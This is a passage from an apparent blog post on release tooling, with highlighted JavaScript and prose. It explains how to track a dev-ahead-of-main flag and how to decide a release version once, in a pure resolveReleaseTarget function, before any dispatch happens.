&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;lastTag) state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;untagged-bump-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cmpSemver&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(versionOnMain, lastTag) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;untagged-bump-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cmpSemver&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(versionOnDev, versionOnMain) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;bump-on-dev-unpromoted&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;clean&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // A FACT, not a state. Computed outside the branch above so it is also set&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // on a component&apos;s never-released first bump, which reaches the same state&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // by a different route. Folding this into `state` is the bug: &quot;main has an&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // untagged bump&quot; and &quot;dev already carries something higher&quot; are&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // independently true, and one mutually-exclusive string reports only one.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; devAhead &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    versionOnMain &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; versionOnDev &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cmpSemver&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(versionOnDev, versionOnMain) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      ?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { version: versionOnDev, aheadOfMain: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      :&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // Scoped to exactly the state where the fast path is armed. `bump-on-dev-&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // unpromoted` also has devAhead set; that is its normal shape, and flagging&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // it would permanently mark a routine state as blocked, which is how a&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // blocker stops being read.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; blockers &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (devAhead &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;untagged-bump-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    blockers.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;dev-ahead-of-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      detail:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        `main carries ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;versionOnMain&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} but dev carries ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;devAhead&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        `cutting here would tag v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;versionOnMain&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, not v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;devAhead&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}.`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { name, state, lastTag, versionOnMain, versionOnDev, devAhead, blockers };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two decisions in there are load-bearing, and both are easy to get wrong in the
opposite direction.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;devAhead&lt;/code&gt; is computed unconditionally, not inside the branch it usually
accompanies. A component that has never been released reaches
&lt;code&gt;untagged-bump-on-main&lt;/code&gt; down a different path, and a patch written only against
the branch you were looking at when you found the bug misses that sibling
completely.&lt;/p&gt;
&lt;p&gt;The blocker, by contrast, is scoped tightly. &lt;code&gt;bump-on-dev-unpromoted&lt;/code&gt; also has
&lt;code&gt;devAhead&lt;/code&gt; set, and that is simply what that state looks like when everything is
fine. Raising a blocker there would put a permanent warning on a routine
condition, and a warning that is always on is a warning nobody reads.&lt;/p&gt;
&lt;h2&gt;Decide the target once, in a pure function&lt;/h2&gt;
&lt;p&gt;The second half of the bug was that the target version was derived twice, about
ten lines apart, once preferring dev and once preferring main. Two derivations
of the same decision are two chances to disagree, and this pair did.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The ONE place the release target is decided. Pure: a status plus an optional&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// operator-supplied version in, a decision out. No I/O, so it is trivially&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// testable and can be called before anything irreversible happens.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;//&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// `requestedVersion` is a CONFIRMATION, not a bypass: it is only ever accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// when it names a version already present in this status, so there is no value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// of it that releases something which is not actually on the branch.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; resolveReleaseTarget&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(status, requestedVersion &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { name, state, versionOnMain, versionOnDev, devAhead } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; status;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;untagged-bump-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;devAhead) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, version: versionOnMain, via: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;dispatch-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (requestedVersion &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; versionOnMain) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, version: versionOnMain, via: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;dispatch-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, confirmed: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (requestedVersion &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; versionOnDev) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        error: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;versionOnDev&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} is on dev but not on main, and a dispatch on main `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;          `cannot cut it. Promote dev to main first, then re-read status.`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      error: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: main carries ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;versionOnMain&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} but dev carries ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;versionOnDev&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        `so which one to release is ambiguous and this refuses to guess. Promote `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        `dev to main and re-read status to release ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;versionOnDev&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, or pass `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        `--version ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;versionOnMain&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} to release exactly what is on main.`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // Every other state has a single unambiguous candidate: dev when it carries&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // the prepared bump, otherwise main.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, version: versionOnDev &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; versionOnMain, via: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;prepared-branch&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Purity is what makes this cheap to trust. There is no clone, no API call and no
clock in it, so every branch can be exercised in a unit test in microseconds,
and it can be called at the top of the dangerous function before anything has
happened yet.&lt;/p&gt;
&lt;p&gt;Then the caller uses its answer for everything, including the tag it later waits
for:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The caller. One resolve, before any network call, and both the dispatch and&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// the tag it waits for read the same decided version.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { resolveReleaseTarget } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./target.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Stand-ins for the irreversible parts. In a real tool these dispatch a&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// workflow and poll a remote; here they just record that they were reached.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dispatched &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; dispatchRelease&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ref, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  dispatched.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ ref, version });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; reset&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() { dispatched.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; calls&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;dispatched]; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(status, { version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {}) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; resolveReleaseTarget&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(status, version);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target.ok) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, error: target.error };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // Derived ONCE from the decided version. Before this existed the target was&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // computed twice, ten lines apart, and the two copies could disagree.&lt;/span&gt;&lt;/span&gt;
